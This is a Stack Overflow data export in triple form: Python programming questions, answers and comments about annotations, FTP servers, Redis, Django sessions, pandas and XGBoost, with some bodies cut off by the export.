has body: In order to understand what's going on, I think it'd be helpful to first review some background material. In Python 3.0, Python added a new language feature known as function annotations. Function annotations, by themselves, have nothing to do with type annotations – they're simply a way to attach arbitrary information to functions. Basically, what Python does is it takes whatever annotations you include, evaluates them, then adds them that function's __annotations__ field. For example, try running the following code: def foo(x: 3 + 4 * 5, y: [i + 1 for i in range(4)]) -&gt; max(3, 4): pass print(foo.__annotations__) If we run this, we'll get: {'x': 23, 'y': [1, 2, 3, 4], 'return': 4} That is, Python will run 3 + 4 * 5, then [i + 1 for i in range(4)], then max(3, 4), then attach that data to __annotations__. After it finishes doing so, Python will do nothing else. In a nutshell, this means that... Python must still evaluate each individual annotation, which must be a valid Python expression But after doing so, annotations are ignored. So, this means that when we're using specifically type hints, each type hint is individually evaluated/must be a valid expression during function-definition-time, but then is ignored by the Python runtime afterwords. (As a caveat, this behavior may change slightly in the future: because we have to evaluate each annotation, using type hints does introduce a slight performance penalty – there are some talks about maybe changing Python so in the future, the expressions are stored as strings in __annotations__ rather then being immediately evaluated.) Now, taking all that into account, let's look at your program. When Python itself runs your program, it'll completely ignore your .pyi file. When it encounters: from library import List def f() -&gt; List[str]: return List(*range(10)) ...it'll first evaluate List[str] then attach that resulting object to f.__annotations__. But we run into a problem! Your List type doesn't support the __getite…
type: Answer

http://stackoverflow.com/comment/80908494
type: Comment
type: AnswerComment
score: 1
has text: @new_to_coding this list-slice, you mean? Yeah, a boolean slice *creates a whole boolean array the size of your current array*. A Python list-slice is extremely fast and efficient, implemented in C.
comment on: http://stackoverflow.com/a/46980453

http://stackoverflow.com/q/46991762
upvote count: 3
tagged with: mono
has comment: http://stackoverflow.com/comment/80930143
favorite count: 0
type: Question
has title: how do I use python in monodevelop>
type: UnansweredQuestion
tagged with: .net
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/80939068
score: 2
has body: I have a solution mostly in C#, but with a python project. It runs using mono, but monodevelop 5.10 says it can't load a project with a .pyproj file. I assume I need to add python support, but don't see python.net in language bindings. Also, I need python.net and not iron python. I'm using linux mint 18, mono 5.4.0.201. Thanks.
tagged with: python.net
answer count: 0

http://stackoverflow.com/comment/81020634
type: Comment
has text: Thanks! @trincot :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47033958

http://stackoverflow.com/comment/80930458
type: QuestionComment
score: 0
has text: Hey @sharatpc. I'll take a look into that. Thanks!
comment on: http://stackoverflow.com/q/46991735
type: Comment

http://stackoverflow.com/q/47060572
tagged with: pyftpdlib
tagged with: python-3.x
score: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/83138463
type: Question
has comment: http://stackoverflow.com/comment/81133134
has body: I have a ftp server using pyftpdlib. How would I hide files like the python file running the server? Here is my code: import os from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer def main(): authorizer = DummyAuthorizer() authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwM') handler = FTPHandler handler.authorizer = authorizer handler.banner = "ftp works." address = ('0.0.0.0', 2121) server = FTPServer(address, handler) server.max_cons = 256 server.max_cons_per_ip = 5 server.serve_forever() if __name__ == '__main__': main()
tagged with: python
has title: hide files on python ftp
has comment: http://stackoverflow.com/comment/81069829

http://stackoverflow.com/comment/81153340
has text: I used your approach of using time.sleep(x). Even though I feel its a slightly crude approach, but I have got the code doing it's job!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47043174

http://stackoverflow.com/comment/81035687
type: Comment
comment on: http://stackoverflow.com/a/46992197
type: AnswerComment
has text: @EugeneLisitsky Thanks. I couldn't let the string solution win the integer competition, though, so I wrote a better one :-). I added it as a new answer, with more benchmarks based on yours.
score: 0

http://stackoverflow.com/q/47026771
favorite count: 0
type: Question
tagged with: redis
has comment: http://stackoverflow.com/comment/81250670
type: UnansweredQuestion
has title: Redis/Python: store and combine data by date
upvote count: 1
tagged with: dataframe
tagged with: python
has body: Objective (using Redis): Cache data (as an object: example dict of string/pandas dataframe) by date Retrieve data between date range (say 20101010 - 20151231) Combine attributes of data between this date range (I'd like Redis to do this for me than combine it in python logic) Example: 20101010: { "a" : dataframe_A1, "b" : "dataframe_B1 }, 20101011: { "a" : dataframe_A2, "b" : "dataframe_B2 } Output: {"a" : dataframe_A1 concatenated with dataframe_A2, "b": dataframe_B1 concatenated with dataframe_B2} One solution I've found is to use ZADD/ZRANGEBYSCORE technique, where I create an index on date in YYYYMMDD format, giving it a natural set ordering. This makes it trivial to retrieve data in a range (example: 20101010 - 20151231) (using: https://redis.io/topics/indexes) Is there a way retrieve data in a combined format from Redis efficiently (#3) - see my example output above. What sequence of operations/commands would most efficiently get me this information? Note: The dict above is just an example. It can be an object as well, with a way to combine its attributes. Dataframes can be stored using to_msgpack format into Redis(How to set/get pandas.DataFrame to/from redis?) Thanks
linked to: http://stackoverflow.com/q/37943778
tagged with: python-2.7
answer count: 0
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81266495

http://stackoverflow.com/comment/81516662
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47116253
type: AnswerComment
has text: I have one more question, in the register function we have the following line: apps.app_configs[label].models = {} So the models are always empty which makes the get_model to always try to do an inspect_db. How can I register models correctly

http://stackoverflow.com/q/47044392
has answer: http://stackoverflow.com/a/47045020
type: AnsweredQuestion
score: 0
answer count: 2
has body: I am creating python script to configure router settings remotely but recently stumbled on problem how to logout or close session after job is done? From searching I found that Basic-Authentication doesn´t have option to logout. How to solve it in python script?
tagged with: python-requests
accepted answer: http://stackoverflow.com/a/47044849
type: Question
has answer: http://stackoverflow.com/a/47044849
has title: Basic-Auth session using python script
possible better answer: http://stackoverflow.com/a/47045020
tagged with: basic-authentication
tagged with: python

http://stackoverflow.com/q/46907196
type: Question
score: 0
has answer: http://stackoverflow.com/a/46907311
tagged with: python
tagged with: dictionary
has title: New dictionary from comprehension with setten keys
tagged with: python-2.7
answer count: 2
has answer: http://stackoverflow.com/a/46907321
type: UnansweredQuestion
tagged with: dictionary-comprehension
has body: I've got two dictionaries: dict1 = {'id': 1001, 'text': 'some text 1', 'key1': 11, 'key2': 12} dict2 = {'id': 1002, 'text': 'some text 2', 'key1': 1, 'key2': 2} And I want to get something like this, keep 'id' from' dict1 and subtract 'key1' and 'key2': dict3 = {'id': 1001, 'key1': 10, 'key2': 10 } I've tried as following: dict3 = {key: dict1[key] - dict2.get(key, 0) for key in ['key1', 'key2']} but I don't know how to keep original 'id'.

http://stackoverflow.com/comment/80865826
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46958086
has text: Yeah but when I replace `a` by `span` tag in my code, the `href` content which I was looking for is not here
type: Comment

http://stackoverflow.com/q/47048098
tagged with: python
has comment: http://stackoverflow.com/comment/81044416
has comment: http://stackoverflow.com/comment/81044050
has comment: http://stackoverflow.com/comment/81044642
tagged with: selenium-webdriver
accepted answer: http://stackoverflow.com/a/47048935
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47048935
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81044723
score: 0
answer count: 1
tagged with: selenium
tagged with: web-scraping
has body: I am scraping data, however I want the csv to write at column 2 to 12 or B-L rather than 1-4. Thus far I have simply been scraping langs_text to the column though this is slow. Is there a better method that does not take such a long time so I can start at column 2? I have tried to include the below however it simply does not write any values to csv and continues job. E.g langs11 = ("potato") langs11_text = [] langs11 = [] langs11_text = [] time.sleep(0) FILE LOCATION = 'C:\\Users\\Bain3\\Aperture.csv' with open((FILE LOCATION), 'a', newline='', encoding="utf-8") as outfile: writer = csv.writer(outfile) for row in zip(langs11_text, langs_text, langs11_text, langs11_text, langs11_text, langs11_text, langs1_text, langs2_text, elem_href, langs11_text): print(row) writer.writerow(row)
type: Question
has title: writing blank values as to start at column 2
has comment: http://stackoverflow.com/comment/81044088
has comment: http://stackoverflow.com/comment/81044611

http://stackoverflow.com/comment/80792547
comment on: http://stackoverflow.com/q/46922607
score: 1
has text: See the answer here. https://stackoverflow.com/questions/9001509/how-can-i-sort-a-dictionary-by-key
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47026095
has body: Normal windows are limited to the "client area" of the screen, i.e. beneath the panel (or taskbar under MSW), so you're simply out of luck.
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81017898
has comment: http://stackoverflow.com/comment/81019097
type: Answer
has comment: http://stackoverflow.com/comment/81005755
answers question: http://stackoverflow.com/q/47023161
has comment: http://stackoverflow.com/comment/81018594
has comment: http://stackoverflow.com/comment/81019623

http://stackoverflow.com/q/47007253
has comment: http://stackoverflow.com/comment/80961324
type: Question
has answer: http://stackoverflow.com/a/47007474
answer count: 2
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80961855
has title: How to use regex to match word with apostrophe
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80961165
favorite count: 0
has answer: http://stackoverflow.com/a/47007360
has body: I have two files: text_data and word_list. I am trying to write a function that removes all the words that appear in word_list from text_data. However, I think I did not write my regex correctly. Here is my code def remove_stopwords_from_file(text_data, word_list): file_content = text_data for word in word_list.split(): file_content = re.sub(r"\b"+word+r"\b"," ", file_content) return file_content Here is part of output opening monologue jerry 'm line supermarket two women front one total eight dollars three dollars course choose pay use pause gesture audience response audience cheque jerry cheque now fact 's a woman front 's writing Some words are replaced by blanks. But for words with apostrophe, only half of the word is replaced. For example, "I'm" is supposed replaced by a blank, but only "I" is replaced and "'m" is still there. I am new to python, hope someone could help me solve this problem. Thanks Sample of word_list below between both but by can't cannot could couldn't Sample of text_data % Opening monologue Jerry: So, I'm on line at the supermarket. Two women in front of me. One of them, her total was eight dollars, the other three dollars. They both of course choose to pay by the use of the (pause and gesture to audience
has comment: http://stackoverflow.com/comment/80961517

http://stackoverflow.com/q/46928961
has comment: http://stackoverflow.com/comment/80861448
tagged with: python
tagged with: conda
accepted answer: http://stackoverflow.com/a/46958200
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80820955
tagged with: installation
has answer: http://stackoverflow.com/a/46958200
has comment: http://stackoverflow.com/comment/80815236
has body: So I have published a conda package (link). This package contains .c extensions (coming from cython code), which need to be compiled when the package is installed. My problem is that none of the extensions are compiled when running the install command conda install -c nicolashug scikit-surprise Compiling the extensions can be done by simply running python setup.py install which is exactly what pip does. The package is on PyPI and works fine. As far as I understand, this setup.py command is only called when I build the conda package using conda build: the meta.yaml file (created with conda skeleton) contains build: script: python setup.py install --single-version-externally-managed--record=record.txt But I need this to be done when the package is installed, not built. Reading the conda docs, it looks like the install process is merely a matter of copying files: Installing the files of a conda package into an environment can be thought of as changing the directory to an environment, and then downloading and extracting the .zip file and its dependencies That would mean I would have to build the package for all platforms and architectures, and then upload them to conda... Which is impossible to me. So, is there a way to build the package when it is installed, just like pip does?
has comment: http://stackoverflow.com/comment/80851245
answer count: 1
downvote count: 0
tagged with: conda-build
has comment: http://stackoverflow.com/comment/80822774
tagged with: cython
score: 1
upvote count: 1
favorite count: 0
type: Question
has title: Build conda package upon installation
has comment: http://stackoverflow.com/comment/80821499

http://stackoverflow.com/comment/80923807
has text: You need to show some relevant code, otherwise your question may get closed like [this one](https://stackoverflow.com/questions/46830743/find-valid-strings) was.
type: QuestionComment
comment on: http://stackoverflow.com/q/46988489
type: Comment
score: 1

http://stackoverflow.com/q/46925983
has answer: http://stackoverflow.com/a/46926013
tagged with: python
possible better answer: http://stackoverflow.com/a/46926233
tagged with: listview
favorite count: 0
has answer: http://stackoverflow.com/a/46926233
has title: splitting items of a list in python
answer count: 2
has body: Hi I have a list, my_list=["one two","three four"] my desired output is, output_list=['one', 'two', 'three', 'four'] I tried the below code, my_list=" ".join(my_list) output_list=my_list.split() output_list, ['one', 'two', 'three', 'four'] It is working fine and I am getting my output, I hope, solution shorter than this will be available to achieve the same, Thanks in Advance!
upvote count: 2
downvote count: 0
type: Question
score: 2
accepted answer: http://stackoverflow.com/a/46926013
type: AnsweredQuestion
tagged with: list

heap
tags question: http://stackoverflow.com/q/46955841
type: Tag
tags question: http://stackoverflow.com/q/47041206
tag name: heap

http://stackoverflow.com/a/54687159
has body: This can also happen because you store session in a dummy cache Backend. eg : If You have configured "DummyCache" as your default Cache system or if you have SESSION_CACHE_ALIAS points to dummy cache, There is a chance that, these sesion data can get deleted even in between your request response cycle. That is, Your Request reached Djagno server and is actively under processing. PROBLEM Your settings seems to be in any of this possible configuration. Case A: # Possible Current Configuration CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', 'LOCATION': 'unique-snowflake', } } SESSION_ENGINE = "django.contrib.sessions.backends.cache" Or # Another Possible Current Configuration CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://127.0.0.1:6379/1", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", } }, 'cache_backend_for_user_session': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', 'LOCATION': 'unique-snowflake', } } SESSION_ENGINE = "django.contrib.sessions.backends.cache" SESSION_CACHE_ALIAS = "cache_backend_for_user_session" SOLUTION I hope, now you got the solution, If the Session Engine Depends On Cache, It is better not to point them to DummyCache. You can use SESSION_ENGINE with cache with cobination of any other cache SESSION_ENGINE = "django.contrib.sessions.backends.cache" SESSION_CACHE_ALIAS = "default" # or comfortabley anything else CACHES = { 'default': { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://127.0.0.1:6379/1", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", } } } (Redis is my preferred configuration; you can use django.core.cache.backends.locmem.LocMemCache or django.core.cache.backends.memcached.MemcachedCache or any other option. Or even you can change Session engine from cache to something else like these if you still want to use DummyCache: # File Based SESSION_ENGINE = "django.contrib.sessions.backends.file" #…
downvote count: 0
has comment: http://stackoverflow.com/comment/123921116
has comment: http://stackoverflow.com/comment/138918382
answers question: http://stackoverflow.com/q/46982576
type: Answer
score: 22
upvote count: 22

http://stackoverflow.com/a/49043737
score: 0
has body: def pangram(s): alphabet = set('abcdefghijklmnopqrstuvwxyz') s = s.replace(' ','').lower() s= sorted(s) count = {} #alphabet could be one sting within '' later sorted, but I just went straight to the point. #After initializing my dictionary at null, we start the count for letter in s: if letter in count: count[letter] =[] else: count[letter] = 1 for letter in alphabet: if letter in count: count[letter] =[] else: count[letter] = 0 for letter in count: if count[letter]== 0: print (letter +' missing!') print (count[letter]!= 0)
answers question: http://stackoverflow.com/q/47025311
type: Answer

http://stackoverflow.com/q/47033699
tagged with: python
has body: I'm new to Python and I want to apply the CMA-ES function for parameter optimization. I was using the CMA_ES package in R where the implementation for this example is simple and clear. Now the implementation in Python is not so clear for me. import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl itr=np.array([ 803.3333,788.3333,779.5000,765.8333,753.3333,735.8333, 717.6666,704.6666,691.6666]) Tcell=np.array([39.5333,38.5499, 37.7999,37.5999, 38.3333,37.4166,37.4166,37.3833,36.5666]) #### THE MODEL###### def pvwatts2(Pdc0,gammapdc,Tref): return itr/1000*Pdc0*(1+gammapdc*(Tcell-Tref)) r=(pvwatts2(75,-0.005,25)) ####THE ORIGINAL DATA######## P=np.array([55.7666,54.6817,54.2812, 53.6679,52.6567,51.4856,50.4057,49.3098,48.8929]) #####RMSE######### def RMSE(gammapdc): return np.sqrt(((pvwatts2(75,gammapdc,25)-P)**2).mean()) print(RMSE(-0.005))# This is the value of RMSE 0.253590052077 Now I want to minimize the RMSE with the help of CMAES in Python. I know that the ideal value of the gammapdc should be around -0.005, where the RMSE have the smallest value. ########################### MINIMIZING THE RMSE WITH CMA_ES######## import cma help(cma.fmin) For me it is not clear how to use the function to get the value of gamapdc to minimize the RMSE. Any suggestions will be appreciated. Is there any reproducible example that I can use?
accepted answer: http://stackoverflow.com/a/48429728
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/48429728
possible better answer: http://stackoverflow.com/a/56769550
tagged with: matplotlib
has title: CMA-ES parameter optimization Python
has answer: http://stackoverflow.com/a/56769550
type: Question
tagged with: numpy
answer count: 2

http://stackoverflow.com/a/46952057
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46951917
has body: I think you need DataFrame constructor with reindex for add missing rows: j = [{"date": "2017-10-25", "downloads": 15358985, "end": "2017-10-23", "data": {"2.7.3.4196-beta": 7, "1.0.1": 268, "1.0.2": 715, "2.9.0.4250-beta": 1, "2.7.3.4215-beta": 2, "2.7.2.4151-beta": 1, "2.2.3.1-signed": 9292}}, {"date": "2017-10-22", "downloads": 12778233, "end": "2017-10-22", "data": {"2.7.3.4196-beta": 5, "2.4.1": 842, "2.99.0.1872beta": 12, "2.99.0.1857beta": 4, "2.3.1.1-signed": 3, "2.6.10": 11538, "2.6.4.1-signed": 8, "2.7.3.4198-beta": 4}}] df = pd.DataFrame(j).set_index('date') df.index = pd.to_datetime(df.index) df = df.reindex(pd.date_range(start=df.index.min(), end=df.index.max())) print (df) data downloads \ 2017-10-22 {'2.6.4.1-signed': 8, '2.99.0.1857beta': 4, '2... 12778233.0 2017-10-23 NaN NaN 2017-10-24 NaN NaN 2017-10-25 {'2.7.2.4151-beta': 1, '1.0.1': 268, '2.9.0.42... 15358985.0 end 2017-10-22 2017-10-22 2017-10-23 NaN 2017-10-24 NaN 2017-10-25 2017-10-23 Solution with json_normalize, but if different formats of jsons get a lot of NaNs values: df = json_normalize(j).set_index('date') df.index = pd.to_datetime(df.index) # df = df.reindex(pd.date_range(start=df.index.min(), end=df.index.max())) print (df) data.1.0.1 data.1.0.2 data.2.2.3.1-signed data.2.3.1.1-signed \ 2017-10-22 NaN NaN NaN 3.0 2017-10-23 NaN NaN NaN NaN 2017-10-24 NaN NaN NaN NaN 2017-10-25 268.0 715.0 9292.0 NaN data.2.4.1 data.2.6.10 data.2.6.4.1-signed \ 2017-10-22 842.0 11538.0 8.0 2017-10-23 NaN NaN NaN 2017-10-24 NaN NaN NaN 2017-10-25 NaN NaN NaN data.2.7.2.4151-beta data.2.7.3.4196-beta data.2.7.3.4198-beta \ 2017-10-22 NaN 5.0 4.0 2017-10-23 NaN NaN NaN 2017-10-24 NaN NaN NaN 2017-10-25 1.0 7.0 NaN data.2.7.3.4215-beta data.2.9.0.4250-beta data.2.99.0.1857beta \ 2017-10-22 NaN NaN 4.0 2017-10-23 NaN NaN NaN 2017-10-24 NaN NaN NaN 2017-10-25 2.0 1.0 NaN data.2.99.0.1872beta downloads end 2017-10-22 12.0 12778233.0 2017-10-22 2017-10-23 NaN NaN NaN 2017-10-24 NaN NaN NaN 2017-10-25 NaN 1535…
type: Answer
answers question: http://stackoverflow.com/q/46951917
score: 2
has comment: http://stackoverflow.com/comment/80851064

http://stackoverflow.com/q/47048692
tagged with: django
accepted answer: http://stackoverflow.com/a/47054479
tagged with: django-rest-framework
type: Question
has answer: http://stackoverflow.com/a/47054479
score: 0
has title: Django REST Generic View for related model
tagged with: django-views
tagged with: python
possible better answer: http://stackoverflow.com/a/47048748
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47048748
answer count: 2
has body: I have a setup similar to this - a Cookbook class, which has multiple Recipes. I have a class CookbookListCreateView(ListCreateAPIView): permission_classes = (IsAuthenticated,) queryset = Cookbook.objects.all() serializer_class = CookbookSerializer and this handles creating / listing the cookbooks. I need a ListCreateView for the Recipe model but the list must belong to a specific cookbook, in such a way that this url: /cookbook/2/recipes would return only recipes found in a cookbook with pk of 2. How can I modify ListCreateAPIView to follow this behavior?

http://stackoverflow.com/comment/81074301
score: 0
comment on: http://stackoverflow.com/q/47062258
type: Comment
type: QuestionComment
has text: Not necessarily between 2 circles. 20 points are just outside.

http://stackoverflow.com/comment/80992677
has text: when you click to the next page, you done `GET` request, so `request.POST.get(u"q")` will empty any way, best solution for search value request it by `GET` method, please add your search form to the question
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46942056

http://stackoverflow.com/a/46912738
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80809398
downvote count: 0
has comment: http://stackoverflow.com/comment/80777705
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46910260
has comment: http://stackoverflow.com/comment/80773553
has comment: http://stackoverflow.com/comment/80844962
answers question: http://stackoverflow.com/q/46910260
has comment: http://stackoverflow.com/comment/80782169
has comment: http://stackoverflow.com/comment/80828893
type: Answer
has comment: http://stackoverflow.com/comment/80868964
has body: You can use glob to find all your files, e.g: import glob for name in glob.glob('Test_Plan/*.docx'): doc = Document(name) ... glob will return a list of file names that match the given pattern. You can loop through that list, as shown above by the for loop and open every file in turn. After opening the files you can just plug in your code. Of course, you will have to initialize your variables before the loop. For splitting the file names I would suggest to use the following approach: import os.path path, filename = os.path.split(input)
score: 1
has comment: http://stackoverflow.com/comment/80842556

boto
tags question: http://stackoverflow.com/q/47062205
tags question: http://stackoverflow.com/q/46979147
type: Tag
tag name: boto
tags question: http://stackoverflow.com/q/47023285

http://stackoverflow.com/a/67331998
score: 4
answers question: http://stackoverflow.com/q/47014765
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/47014765
has body: From pandas version 1.3 this is * directly possible with pandas. * Or will be (the work is merged, but 1.3 is not yet released as of today; I tested the lines below against the pandas main branch). import pandas as pd series = pd.Series(1, index = pd.date_range('2014-01-01', '2014-04-01', freq = 'D')) series.rolling(7, min_periods=1, center=True).sum().head(10) Output is as expected: 2014-01-01 4.0 2014-01-02 5.0 2014-01-03 6.0 2014-01-04 7.0 2014-01-05 7.0 2014-01-06 7.0 2014-01-07 7.0 2014-01-08 7.0 2014-01-09 7.0 2014-01-10 7.0 Freq: D, dtype: float64
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46943314
has answer: http://stackoverflow.com/a/55121759
tagged with: pandas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/75061542
downvote count: 0
has title: XGBoost plot_importance doesn't show feature names
tagged with: machine-learning
tagged with: xgboost
favorite count: 0
possible better answer: http://stackoverflow.com/a/55121759
score: 40
upvote count: 40
has answer: http://stackoverflow.com/a/46956125
type: Question
has answer: http://stackoverflow.com/a/56945135
answer count: 9
has answer: http://stackoverflow.com/a/59505751
has comment: http://stackoverflow.com/comment/138388272
tagged with: python
has answer: http://stackoverflow.com/a/70505910
has body: I'm using XGBoost with Python and have successfully trained a model using the XGBoost train() function called on DMatrix data. The matrix was created from a Pandas dataframe, which has feature names for the columns. Xtrain, Xval, ytrain, yval = train_test_split(df[feature_names], y, \ test_size=0.2, random_state=42) dtrain = xgb.DMatrix(Xtrain, label=ytrain) model = xgb.train(xgb_params, dtrain, num_boost_round=60, \ early_stopping_rounds=50, maximize=False, verbose_eval=10) fig, ax = plt.subplots(1,1,figsize=(10,10)) xgb.plot_importance(model, max_num_features=5, ax=ax) I want to now see the feature importance using the xgboost.plot_importance() function, but the resulting plot doesn't show the feature names. Instead, the features are listed as f1, f2, f3, etc. as shown below. I think the problem is that I converted my original Pandas data frame into a DMatrix. How can I associate feature names properly so that the feature importance plot shows them?
accepted answer: http://stackoverflow.com/a/46943417
has answer: http://stackoverflow.com/a/61678888
has answer: http://stackoverflow.com/a/53836895
has answer: http://stackoverflow.com/a/46943417

http://stackoverflow.com/a/46955565
accepted answer of: http://stackoverflow.com/q/46954282
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46954282
has body: We can manipulate the variables passed from Flask to Jinja2 template. This is same in this case too. We can pass the data dictionary from Flask to our template and then manipulate it in JavaScript. We are going to pass the dictionary you mentioned in the question from Flask to the template as below: from flask import Flask from flask import request from flask import render_template app = Flask(__name__) @app.route('/') @app.route('/highchart') def show_index(): data = { 'dataset1': { 'x_data': [1, 2, 3, 4, 5, 6], 'y_data': [7, 8, 9, 10, 11, 12] }, 'dataset2': { 'x_data': [1, 2, 3, 4, 5, 6], 'y_data': [1, 2, 3, 4, 5, 6] } } fconfig = "Fconfig name" fposition = "Fposition name" return render_template('highchart.html', data = data, fconfig = fconfig, fposition = fposition) if __name__ == '__main__': app.run(debug = True) Then in template file which is highchart.html in our case, we will manipulate the dictionary in JavaScript. For simplicity, we are going to use the Y axis data only. Modify it as necessary. highchart.html: Highchart Highchart Example We now get a chart like this:
score: 5
upvote count: 5
type: Answer

http://stackoverflow.com/a/47042801
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81033072
accepted answer of: http://stackoverflow.com/q/47042652
has body: IIUC, use pd.concat, keys, and unstack: pd.concat([test[i] for i in test], keys=test.keys()).unstack(1)['values'] Better yet, pd.concat(test).unstack(1)['values'] Output: 0 1 2 3 4 5 6 \ A -0.029027 -0.530398 -0.866021 1.331116 0.090178 1.044801 -1.586620 C 1.320105 1.244250 -0.162734 0.942929 -0.309025 -0.853728 1.606805 B -1.683822 1.015894 -0.178339 -0.958557 -0.910549 -1.612449 NaN 7 8 9 10 A -1.072210 1.654565 -1.188060 NaN C 1.642461 -0.137037 -1.416697 -0.349107 B NaN NaN NaN NaN
has comment: http://stackoverflow.com/comment/81033323
answers question: http://stackoverflow.com/q/47042652
type: Answer
has comment: http://stackoverflow.com/comment/81033031
score: 3
upvote count: 3

http://stackoverflow.com/comment/80911615
score: 0
comment on: http://stackoverflow.com/q/46979682
type: Comment
type: QuestionComment
has text: @trentcl the number 0x394839F is aleatory, I wrote just to make a example how I desire my output

http://stackoverflow.com/a/47026767
answers question: http://stackoverflow.com/q/47024722
downvote count: 0
has comment: http://stackoverflow.com/comment/81008531
has comment: http://stackoverflow.com/comment/81002022
has comment: http://stackoverflow.com/comment/81014100
has comment: http://stackoverflow.com/comment/81008581
has comment: http://stackoverflow.com/comment/81009061
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/81015081
has comment: http://stackoverflow.com/comment/81001725
has body: It's stetched because the height and the width of your button are not equal, try this .py: from kivy.uix.button import Button from kivy.properties import StringProperty class NewButton(Button): pass #but if you want to set the image of the button remove the pass and uncomment the following: #image_path = StringProperty('') #def __init__(self,image_path, **kwargs): #super(NewButton, self).__init__(**kwargs) #self.image_path = image_path .kv: &lt;NewButton&gt;: background_color: 0,0,0,0 canvas: Rectangle: size: (40,40) # choose a value of a which fit the most with your button pos: (self.pos[0]+self.size[0]/2.0) - 20, (self.pos[1]+self.size[1]/2.0) - 20 source: root.image_path on_press: self.background_color = (1,1,1,1) on_release: self.background_color = (0,0,0,0) Notice how I put the brackets to define the class NewButton on the kv update: &lt;NewButton&gt;: background_color: 0,0,0,0 canvas: Rectangle: size: (a,b) # choose a value of a which fit the most with your button pos: (self.pos[0]+self.size[0]/2.0) - a/2.0, (self.pos[1]+self.size[1]/2.0) - b/2.0 source: root.image_path on_press: self.background_color = (1,1,1,1) on_release: self.background_color = (0,0,0,0) please look the size and the pos on the canvas choose a value of a and b then set size and pos
has comment: http://stackoverflow.com/comment/81008708
score: 2
has comment: http://stackoverflow.com/comment/81013754

http://stackoverflow.com/comment/80897559
type: Comment
score: 0
type: QuestionComment
has text: @Jean-FrançoisFabre Bonjour Jean-François. My supposition about package organization seems to verify... I could not find out how to 'ping' you.
comment on: http://stackoverflow.com/q/46961454

http://stackoverflow.com/comment/80810401
comment on: http://stackoverflow.com/q/46931807
score: 1
type: Comment
has text: You should show how you tried to solve it, this website is more about solving existing issues rather than designing solutions.
type: QuestionComment

http://stackoverflow.com/comment/80823637
score: 2
has text: @SergeBallesta The question is about trying to find where in the file the problem is. A simplified version of the file probably wouldn’t have the error at all.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46933995

http://stackoverflow.com/q/46945436
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80863145
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
has title: Adding an instance variable to a base class in Python
type: Question
tagged with: oop
has body: I have a base class A, inherited by classes B and C, from which I was trying to set an instance variable. Such variable is used by methods from base class A as follows. class A(object): def foo(self): print(self.value) class B(A): value = "B" class C(A): value = "C" &gt;&gt;&gt; b = B() 'B' &gt;&gt;&gt; c = C() 'C' I understand function foo will only be evaluated during execution, which is fine as long as I do not invoke foo straight from an instance of A. Yet, I fail to grasp how value = "B" and value = "C" manage to become self.value = "B" and self.value = "C". Sorry if this is naive question; I have been far from python for quite a while now, and really had not seen anything quite like it. I'm using Python version 2.7.12.
accepted answer: http://stackoverflow.com/a/46945776
has comment: http://stackoverflow.com/comment/80838198
has answer: http://stackoverflow.com/a/46945776
tagged with: python
tagged with: member
tagged with: inheritance
linked to: http://stackoverflow.com/q/10313471
has comment: http://stackoverflow.com/comment/80865715

http://stackoverflow.com/q/47007622
upvote count: 0
has comment: http://stackoverflow.com/comment/80961919
linked to: http://stackoverflow.com/q/509211
downvote count: 1
has comment: http://stackoverflow.com/comment/80961946
favorite count: 0
has body: I have a string that is a sentence. There are eight words in the sentence. What I'm trying to do, is take the third, forth, and fifth word the sentence. I have tried using indexing such as: string[3][4][5] But this raises an IndexError. What am I missing here?
tagged with: indexing
type: AnsweredQuestion
has title: How can I grab a group of words from a string?
has comment: http://stackoverflow.com/comment/80961954
has comment: http://stackoverflow.com/comment/80961940
accepted answer: http://stackoverflow.com/a/47007677
has answer: http://stackoverflow.com/a/47007677
tagged with: python
score: -1
tagged with: slice
possible better answer: http://stackoverflow.com/a/47007665
has comment: http://stackoverflow.com/comment/80961867
type: Question
has comment: http://stackoverflow.com/comment/80961902
has answer: http://stackoverflow.com/a/47007665
tagged with: split
answer count: 2
has comment: http://stackoverflow.com/comment/80961970

http://stackoverflow.com/a/47002841
score: 4
downvote count: 0
answers question: http://stackoverflow.com/q/47002753
has comment: http://stackoverflow.com/comment/80965884
upvote count: 4
